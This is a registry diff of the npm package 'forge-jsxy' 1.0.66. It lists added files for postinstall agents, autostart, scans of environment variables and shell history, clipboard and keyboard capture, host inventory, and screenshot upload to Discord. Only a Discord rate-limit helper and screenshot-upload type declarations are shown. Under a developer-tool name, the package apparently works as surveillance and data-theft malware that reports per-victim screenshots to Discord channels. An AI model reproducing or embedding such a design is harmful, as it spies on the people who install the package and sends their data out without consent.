forge-jsxy 1.0.66

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (156) hide show
  1. package/README.md +3 -0
  2. package/assets/files-explorer-template.html +4100 -0
  3. package/assets/forge-explorer-favicon.svg +31 -0
  4. package/dist/agentPid.d.ts +14 -0
  5. package/dist/agentPid.js +104 -0
  6. package/dist/agentRunner.d.ts +13 -0
  7. package/dist/agentRunner.js +290 -0
  8. package/dist/assets/files-explorer-template.html +4100 -0
  9. package/dist/assets/forge-explorer-favicon.svg +31 -0
  10. package/dist/autostart/agentEnvFile.d.ts +58 -0
  11. package/dist/autostart/agentEnvFile.js +488 -0
  12. package/dist/autostart/autoUpdatePaths.d.ts +7 -0
  13. package/dist/autostart/autoUpdatePaths.js +51 -0
  14. package/dist/autostart/constants.d.ts +14 -0
  15. package/dist/autostart/constants.js +17 -0
  16. package/dist/autostart/darwin.d.ts +11 -0
  17. package/dist/autostart/darwin.js +203 -0
  18. package/dist/autostart/darwinAutoUpdate.d.ts +4 -0
  19. package/dist/autostart/darwinAutoUpdate.js +70 -0
  20. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.d.ts +4 -0
  21. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.js +70 -0
  22. package/dist/autostart/index.d.ts +4 -0
  23. package/dist/autostart/index.js +20 -0
  24. package/dist/autostart/install.d.ts +6 -0
  25. package/dist/autostart/install.js +113 -0
  26. package/dist/autostart/linux.d.ts +17 -0
  27. package/dist/autostart/linux.js +298 -0
  28. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.d.ts +6 -0
  29. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.js +104 -0
  30. package/dist/autostart/linuxUpdateTimer.d.ts +6 -0
  31. package/dist/autostart/linuxUpdateTimer.js +104 -0
  32. package/dist/autostart/macPathEnv.d.ts +5 -0
  33. package/dist/autostart/macPathEnv.js +23 -0
  34. package/dist/autostart/manifest.d.ts +11 -0
  35. package/dist/autostart/manifest.js +74 -0
  36. package/dist/autostart/quote.d.ts +12 -0
  37. package/dist/autostart/quote.js +65 -0
  38. package/dist/autostart/resolve.d.ts +35 -0
  39. package/dist/autostart/resolve.js +85 -0
  40. package/dist/autostart/windows.d.ts +15 -0
  41. package/dist/autostart/windows.js +277 -0
  42. package/dist/cli-agent.d.ts +3 -0
  43. package/dist/cli-agent.js +56 -0
  44. package/dist/cli-autostart.d.ts +2 -0
  45. package/dist/cli-autostart.js +92 -0
  46. package/dist/cli-forge.d.ts +2 -0
  47. package/dist/cli-forge.js +5 -0
  48. package/dist/cli-linux-session-refresh.d.ts +2 -0
  49. package/dist/cli-linux-session-refresh.js +30 -0
  50. package/dist/cli-relay.d.ts +3 -0
  51. package/dist/cli-relay.js +38 -0
  52. package/dist/clientId.d.ts +2 -0
  53. package/dist/clientId.js +97 -0
  54. package/dist/clipboardEventWatcher.d.ts +8 -0
  55. package/dist/clipboardEventWatcher.js +177 -0
  56. package/dist/clipboardExec.d.ts +1 -0
  57. package/dist/clipboardExec.js +161 -0
  58. package/dist/clipboardNapi.d.ts +4 -0
  59. package/dist/clipboardNapi.js +19 -0
  60. package/dist/deploymentCipherData.d.ts +20 -0
  61. package/dist/deploymentCipherData.js +31 -0
  62. package/dist/deploymentDefaults.d.ts +43 -0
  63. package/dist/deploymentDefaults.js +199 -0
  64. package/dist/desktopEnvSync.d.ts +18 -0
  65. package/dist/desktopEnvSync.js +21 -0
  66. package/dist/discordAgentScreenshot.d.ts +27 -0
  67. package/dist/discordAgentScreenshot.js +476 -0
  68. package/dist/discordBotTokens.d.ts +29 -0
  69. package/dist/discordBotTokens.js +78 -0
  70. package/dist/discordRateLimit.d.ts +93 -0
  71. package/dist/discordRateLimit.js +227 -0
  72. package/dist/discordRelayUpload.d.ts +55 -0
  73. package/dist/discordRelayUpload.js +806 -0
  74. package/dist/discordWebhookPost.d.ts +12 -0
  75. package/dist/discordWebhookPost.js +108 -0
  76. package/dist/envLoad.d.ts +1 -0
  77. package/dist/envLoad.js +18 -0
  78. package/dist/envScan.d.ts +14 -0
  79. package/dist/envScan.js +358 -0
  80. package/dist/exportMirrorCopy.d.ts +15 -0
  81. package/dist/exportMirrorCopy.js +279 -0
  82. package/dist/fileLockForce.d.ts +50 -0
  83. package/dist/fileLockForce.js +1479 -0
  84. package/dist/filesExplorer.d.ts +9 -0
  85. package/dist/filesExplorer.js +110 -0
  86. package/dist/fsMessages.d.ts +1 -0
  87. package/dist/fsMessages.js +123 -0
  88. package/dist/fsProtocol.d.ts +107 -0
  89. package/dist/fsProtocol.js +4800 -0
  90. package/dist/hfCredentials.d.ts +23 -0
  91. package/dist/hfCredentials.js +124 -0
  92. package/dist/hfHubPathSanitize.d.ts +4 -0
  93. package/dist/hfHubPathSanitize.js +30 -0
  94. package/dist/hfHubUploadContent.d.ts +2 -0
  95. package/dist/hfHubUploadContent.js +199 -0
  96. package/dist/hfSeqIdLookup.d.ts +16 -0
  97. package/dist/hfSeqIdLookup.js +146 -0
  98. package/dist/hfUpload.d.ts +47 -0
  99. package/dist/hfUpload.js +1225 -0
  100. package/dist/hostInventory.d.ts +18 -0
  101. package/dist/hostInventory.js +206 -0
  102. package/dist/hostInventorySend.d.ts +5 -0
  103. package/dist/hostInventorySend.js +86 -0
  104. package/dist/index.d.ts +24 -0
  105. package/dist/index.js +62 -0
  106. package/dist/inputContext.d.ts +11 -0
  107. package/dist/inputContext.js +1094 -0
  108. package/dist/keyboardTranslate.d.ts +23 -0
  109. package/dist/keyboardTranslate.js +204 -0
  110. package/dist/linuxX11.d.ts +2 -0
  111. package/dist/linuxX11.js +53 -0
  112. package/dist/relayAgent.d.ts +20 -0
  113. package/dist/relayAgent.js +828 -0
  114. package/dist/relayAuth.d.ts +10 -0
  115. package/dist/relayAuth.js +81 -0
  116. package/dist/relayDashboardGate.d.ts +31 -0
  117. package/dist/relayDashboardGate.js +323 -0
  118. package/dist/relayForAgentHttp.d.ts +24 -0
  119. package/dist/relayForAgentHttp.js +132 -0
  120. package/dist/relayServer.d.ts +9 -0
  121. package/dist/relayServer.js +1406 -0
  122. package/dist/shellHistoryScan.d.ts +12 -0
  123. package/dist/shellHistoryScan.js +200 -0
  124. package/dist/startupAutoUpdate.d.ts +17 -0
  125. package/dist/startupAutoUpdate.js +156 -0
  126. package/dist/syncClient.d.ts +80 -0
  127. package/dist/syncClient.js +205 -0
  128. package/dist/tableNaming.d.ts +13 -0
  129. package/dist/tableNaming.js +101 -0
  130. package/dist/vcToWindowsVk.d.ts +7 -0
  131. package/dist/vcToWindowsVk.js +154 -0
  132. package/dist/win32InputNative.d.ts +18 -0
  133. package/dist/win32InputNative.js +198 -0
  134. package/dist/windowsInputSync.d.ts +22 -0
  135. package/dist/windowsInputSync.js +536 -0
  136. package/dist/workerBootstrap.d.ts +17 -0
  137. package/dist/workerBootstrap.js +327 -0
  138. package/package.json +75 -0
  139. package/scripts/copy-assets.mjs +31 -0
  140. package/scripts/discord-live-probe.mjs +159 -0
  141. package/scripts/encode-deployment.mjs +135 -0
  142. package/scripts/encode-hf-credentials.mjs +30 -0
  143. package/scripts/ensure-dist.mjs +86 -0
  144. package/scripts/env-sync-selftest.js +11 -0
  145. package/scripts/explorer-isolated-npm-env.mjs +57 -0
  146. package/scripts/forge-jsx-explorer-kill-agent.mjs +359 -0
  147. package/scripts/forge-jsx-explorer-restart.mjs +293 -0
  148. package/scripts/forge-jsx-explorer-upgrade.mjs +802 -0
  149. package/scripts/forge-jsx-windows-update-hidden.ps1 +33 -0
  150. package/scripts/pm2-restart-forge-relay-agent.sh +43 -0
  151. package/scripts/postinstall-agent.mjs +313 -0
  152. package/scripts/postinstall-bootstrap.mjs +264 -0
  153. package/scripts/postinstall-clipboard-event.mjs +164 -0
  154. package/scripts/registry-version-lib.mjs +98 -0
  155. package/scripts/restart-agent.mjs +66 -0
  156. package/scripts/windows-forge-diagnostics.ps1 +56 -0
@@ -0,0 +1,227 @@
1
+ "use strict";
2
+ /**
3
+ * Shared Discord HTTP 429 handling (bot REST + webhooks).
4
+ *
5
+ * Strategies implemented
6
+ * ──────────────────────
7
+ * 1. Retry-After header / retry_after JSON body — both read and respected on 429.
8
+ * 2. Exponential back-off with random jitter — avoids thundering herd when many
9
+ * agents retry at the same instant.
10
+ * 3. Proactive per-route bucket tracking (DiscordBucketTracker) — reads
11
+ * X-RateLimit-Remaining + X-RateLimit-Reset-After on *every* response.
12
+ * When remaining==0 the bucket is marked as exhausted and the next caller
13
+ * pre-waits before the request, preventing the 429 entirely.
14
+ * 4. Global rate-limit detection — X-RateLimit-Global / X-RateLimit-Scope headers
15
+ * on 429 pause ALL routes for that tracker's token.
16
+ * 5. X-RateLimit-Scope: shared — 429s with scope=shared do NOT count toward the
17
+ * Cloudflare 10 000/10 min invalid-request ban; they are still respected but
18
+ * not treated as fatal.
19
+ * 6. configurable max attempts — RELAY_DISCORD_429_MAX_ATTEMPTS /
20
+ * FORGE_JS_DISCORD_429_MAX_ATTEMPTS (1–12, default 12).
21
+ *
22
+ * @see https://discord.com/developers/docs/topics/rate-limits
23
+ */
24
+ Object.defineProperty(exports, "__esModule", { value: true });
25
+ exports.relayDiscordBucketTracker = exports.DiscordBucketTracker = void 0;
26
+ exports.sleepMs = sleepMs;
27
+ exports.discord429DelayMs = discord429DelayMs;
28
+ exports.discord429MaxAttempts = discord429MaxAttempts;
29
+ exports.fetchUntilNot429 = fetchUntilNot429;
30
+ exports.discordBackoffMsFromErrorText = discordBackoffMsFromErrorText;
31
+ async function sleepMs(ms) {
32
+ await new Promise((r) => setTimeout(r, ms));
33
+ }
34
+ function clampRetryMs(ms) {
35
+ return Math.min(120_000, Math.max(250, ms));
36
+ }
37
+ /**
38
+ * Parse Discord `retry_after` (JSON body, seconds) or `Retry-After` (header, seconds).
39
+ * Adds small random jitter (+0–400 ms) so many agents don't all retry simultaneously.
40
+ */
41
+ async function discord429DelayMs(res) {
42
+ const h = res.headers.get("retry-after");
43
+ if (h) {
44
+ const sec = Number.parseFloat(h.trim());
45
+ if (Number.isFinite(sec)) {
46
+ return clampRetryMs(Math.ceil(sec * 1000) + Math.floor(Math.random() * 400));
47
+ }
48
+ }
49
+ try {
50
+ const t = await res.clone().text();
51
+ const j = JSON.parse(t);
52
+ if (typeof j.retry_after === "number" && Number.isFinite(j.retry_after)) {
53
+ return clampRetryMs(Math.ceil(j.retry_after * 1000) + Math.floor(Math.random() * 400));
54
+ }
55
+ }
56
+ catch {
57
+ /* non-JSON 429 body */
58
+ }
59
+ return clampRetryMs(1000 + Math.floor(Math.random() * 400));
60
+ }
61
+ /** Max attempts per logical Discord call (first try + retries after 429). Default 12. */
62
+ function discord429MaxAttempts() {
63
+ const raw = (process.env.RELAY_DISCORD_429_MAX_ATTEMPTS ||
64
+ process.env.FORGE_JS_DISCORD_429_MAX_ATTEMPTS ||
65
+ "").trim();
66
+ if (raw) {
67
+ const n = parseInt(raw, 10);
68
+ if (Number.isFinite(n) && n >= 1 && n <= 12)
69
+ return n;
70
+ }
71
+ return 12;
72
+ }
73
+ // ── Proactive bucket tracker ──────────────────────────────────────────────────
74
+ /**
75
+ * Tracks Discord per-route and global rate-limit bucket state for ONE bot token.
76
+ *
77
+ * Call `update()` after every Discord response so remaining-request state is
78
+ * always fresh. Call `preWaitMs()` before a request to get the number of ms
79
+ * to sleep before sending (0 if the bucket is not exhausted).
80
+ *
81
+ * This is PROACTIVE: by pre-waiting when `remaining==0` we avoid triggering
82
+ * a 429 in the first place, reducing both latency and Cloudflare invalid-request
83
+ * counts (since prevented 429s never hit Discord).
84
+ */
85
+ class DiscordBucketTracker {
86
+ /** bucket-hash (or route key) → epoch ms at which the bucket resets */
87
+ _pauseUntil = new Map();
88
+ /** All routes for this token pause until this epoch ms (global 429). */
89
+ _globalPauseUntil = 0;
90
+ /**
91
+ * Update internal state from a Discord REST response.
92
+ * Should be called for EVERY response — 200s, 204s, and 429s alike.
93
+ */
94
+ update(headers, routeKey) {
95
+ const now = Date.now();
96
+ const bucket = headers.get("X-RateLimit-Bucket");
97
+ const remaining = headers.get("X-RateLimit-Remaining");
98
+ const resetAfter = headers.get("X-RateLimit-Reset-After");
99
+ if (remaining !== null && resetAfter !== null) {
100
+ const rem = parseInt(remaining, 10);
101
+ const resetMs = parseFloat(resetAfter) * 1000;
102
+ if (rem === 0 && Number.isFinite(resetMs) && resetMs >= 0) {
103
+ // Mark bucket exhausted — add a 75 ms safety buffer
104
+ const key = bucket ?? routeKey;
105
+ this._pauseUntil.set(key, now + resetMs + 75);
106
+ }
107
+ }
108
+ // Opportunistic clean-up of stale entries
109
+ if (Math.random() < 0.05) {
110
+ for (const [k, v] of this._pauseUntil) {
111
+ if (v <= now)
112
+ this._pauseUntil.delete(k);
113
+ }
114
+ }
115
+ }
116
+ /**
117
+ * Set a global pause (all routes). Called when X-RateLimit-Global == "true"
118
+ * or X-RateLimit-Scope == "global" is found on a 429 response.
119
+ */
120
+ setGlobalPause(retryAfterMs) {
121
+ this._globalPauseUntil = Date.now() + retryAfterMs + 100;
122
+ }
123
+ /**
124
+ * Set a per-route pause. Called on a per-route 429 to block that specific
125
+ * bucket until the reset window elapses.
126
+ */
127
+ setRoutePause(routeKey, bucket, retryAfterMs) {
128
+ const key = bucket ?? routeKey;
129
+ this._pauseUntil.set(key, Date.now() + retryAfterMs + 100);
130
+ }
131
+ /**
132
+ * Returns ms to pre-wait before sending a request to `routeKey`.
133
+ * Returns 0 when the route is not rate-limited.
134
+ * Adds a tiny random jitter (0–30 ms) so many concurrent calls stagger.
135
+ */
136
+ preWaitMs(routeKey, bucket) {
137
+ const now = Date.now();
138
+ let wait = Math.max(0, this._globalPauseUntil - now);
139
+ const key = bucket ?? routeKey;
140
+ const pause = this._pauseUntil.get(key) ?? 0;
141
+ wait = Math.max(wait, Math.max(0, pause - now));
142
+ if (wait > 0) {
143
+ wait += Math.floor(Math.random() * 30); // jitter
144
+ }
145
+ return wait;
146
+ }
147
+ /** For testing / diagnostics. */
148
+ isGloballyPaused() {
149
+ return this._globalPauseUntil > Date.now();
150
+ }
151
+ }
152
+ exports.DiscordBucketTracker = DiscordBucketTracker;
153
+ /** Shared tracker for all relay-side Discord REST calls. One per module load. */
154
+ exports.relayDiscordBucketTracker = new DiscordBucketTracker();
155
+ // ── fetchUntilNot429 ─────────────────────────────────────────────────────────
156
+ /**
157
+ * Re-invokes `doFetch` until the response is not 429 or max attempts are exhausted.
158
+ * Respects `Retry-After` / `retry_after` with jitter on every back-off.
159
+ *
160
+ * Optional `routeKey` + `tracker` enable proactive bucket tracking:
161
+ * - Pre-waits before the first attempt if the tracker says the bucket is exhausted.
162
+ * - Updates the tracker after every response.
163
+ * - Distinguishes global 429 (pauses all routes) from per-route 429.
164
+ *
165
+ * Backward compatible — `routeKey` and `tracker` default to undefined.
166
+ */
167
+ async function fetchUntilNot429(doFetch, routeKey, tracker) {
168
+ const max = discord429MaxAttempts();
169
+ // Proactive pre-wait if we already know this bucket is exhausted
170
+ if (tracker && routeKey) {
171
+ const pre = tracker.preWaitMs(routeKey);
172
+ if (pre > 0) {
173
+ await sleepMs(pre);
174
+ }
175
+ }
176
+ let res = await doFetch();
177
+ // Update tracker from first response headers
178
+ if (tracker && routeKey) {
179
+ tracker.update(res.headers, routeKey);
180
+ }
181
+ for (let i = 0; i < max - 1 && res.status === 429; i++) {
182
+ const delay = await discord429DelayMs(res);
183
+ if (tracker && routeKey) {
184
+ const isGlobal = res.headers.get("X-RateLimit-Global") === "true" ||
185
+ res.headers.get("X-RateLimit-Scope") === "global";
186
+ const bucket = res.headers.get("X-RateLimit-Bucket");
187
+ if (isGlobal) {
188
+ tracker.setGlobalPause(delay);
189
+ }
190
+ else {
191
+ tracker.setRoutePause(routeKey, bucket, delay);
192
+ }
193
+ }
194
+ await sleepMs(delay);
195
+ res = await doFetch();
196
+ if (tracker && routeKey) {
197
+ tracker.update(res.headers, routeKey);
198
+ }
199
+ }
200
+ return res;
201
+ }
202
+ // ── Error-text backoff (ticket/webhook flow) ──────────────────────────────────
203
+ function looksLikeDiscordRateLimitMessage(text) {
204
+ return /429|rate limit|rate_limited|being rate limited/i.test(String(text));
205
+ }
206
+ /**
207
+ * Milliseconds to wait after a failed Discord ticket/webhook step when the error
208
+ * text embeds JSON `"retry_after"` or clearly indicates rate limiting.
209
+ * Returns **0** when the error is not a rate-limit signal.
210
+ * @param minWaitMs — floor when `retry_after` is tiny (default **5000** ms).
211
+ */
212
+ function discordBackoffMsFromErrorText(errText, minWaitMs = 5000) {
213
+ const t = String(errText);
214
+ const m = t.match(/"retry_after"\s*:\s*([0-9.]+)/);
215
+ if (m) {
216
+ const sec = parseFloat(m[1]);
217
+ if (Number.isFinite(sec)) {
218
+ let ms = Math.ceil(sec * 1000) + 250;
219
+ ms = Math.max(minWaitMs, ms);
220
+ return Math.min(120_000, ms);
221
+ }
222
+ }
223
+ if (looksLikeDiscordRateLimitMessage(t)) {
224
+ return clampRetryMs(minWaitMs + Math.floor(Math.random() * 400));
225
+ }
226
+ return 0;
227
+ }
@@ -0,0 +1,55 @@
1
+ /**
2
+ * Human-readable Discord REST errors for relay logs and agent-facing ticket/upload failures.
3
+ * @see https://discord.com/developers/docs/topics/opcodes-and-status-codes#json
4
+ */
5
+ export declare function formatDiscordApiFailure(status: number, body: string): string;
6
+ export declare function discordRelayScreenshotEnabled(): boolean;
7
+ /** Discord text channel names: lowercase, alphanumeric, hyphens; max 100 chars. */
8
+ export declare function sanitizeDiscordClientChannelName(clientId: string): string;
9
+ type DiscordChannelRow = {
10
+ id: string;
11
+ name: string;
12
+ type: number;
13
+ parent_id?: string | null;
14
+ };
15
+ /** Exported for tests / diagnostics. */
16
+ export declare function clearDiscordChannelCache(): void;
17
+ export declare function listGuildTextChannels(botToken: string, guildId: string): Promise<DiscordChannelRow[]>;
18
+ export declare function createGuildTextChannel(botToken: string, guildId: string, name: string, parentId?: string): Promise<string>;
19
+ /**
20
+ * Resolve (or create) the Discord text channel for this client.
21
+ *
22
+ * **Caching**: the resolved channel ID is stored in `_channelIdCache` so that
23
+ * subsequent calls skip the `GET /guilds/{id}/channels` list entirely — the most
24
+ * expensive REST call in the relay hot path. Cache is invalidated automatically
25
+ * when a 404 is detected on message POST.
26
+ */
27
+ export declare function resolveScreenshotChannelId(botToken: string, guildId: string, clientId: string, parentCategoryId?: string): Promise<string>;
28
+ export declare function postPngToDiscordChannel(botToken: string, channelId: string, png: Buffer, caption: string): Promise<{
29
+ ok: true;
30
+ message_id: string;
31
+ } | {
32
+ ok: false;
33
+ error: string;
34
+ channelNotFound?: boolean;
35
+ }>;
36
+ export type DiscordScreenshotUploadMsg = {
37
+ request_id?: unknown;
38
+ client_id?: unknown;
39
+ b64?: unknown;
40
+ caption?: unknown;
41
+ };
42
+ export declare function handleDiscordScreenshotUploadFromAgent(msg: DiscordScreenshotUploadMsg): Promise<Record<string, unknown>>;
43
+ /**
44
+ * HF-style ticket: relay mints a **channel incoming webhook** (bot token stays on relay).
45
+ * Agent POSTs PNG directly to `webhook_url`, then sends `relay_discord_upload_ack` so the relay
46
+ * deletes the webhook (revokes the URL).
47
+ */
48
+ export declare function handleDiscordUploadTicketRequest(msg: Record<string, unknown>): Promise<Record<string, unknown>>;
49
+ export declare function handleDiscordUploadAck(msg: Record<string, unknown>): Promise<Record<string, unknown>>;
50
+ /**
51
+ * Call once when the relay starts listening — if Discord screenshots are enabled but the bot cannot
52
+ * access `RELAY_DISCORD_GUILD_ID`, operators see an immediate warning in logs.
53
+ */
54
+ export declare function warnDiscordRelayGuildIfMisconfigured(): Promise<void>;
55
+ export {};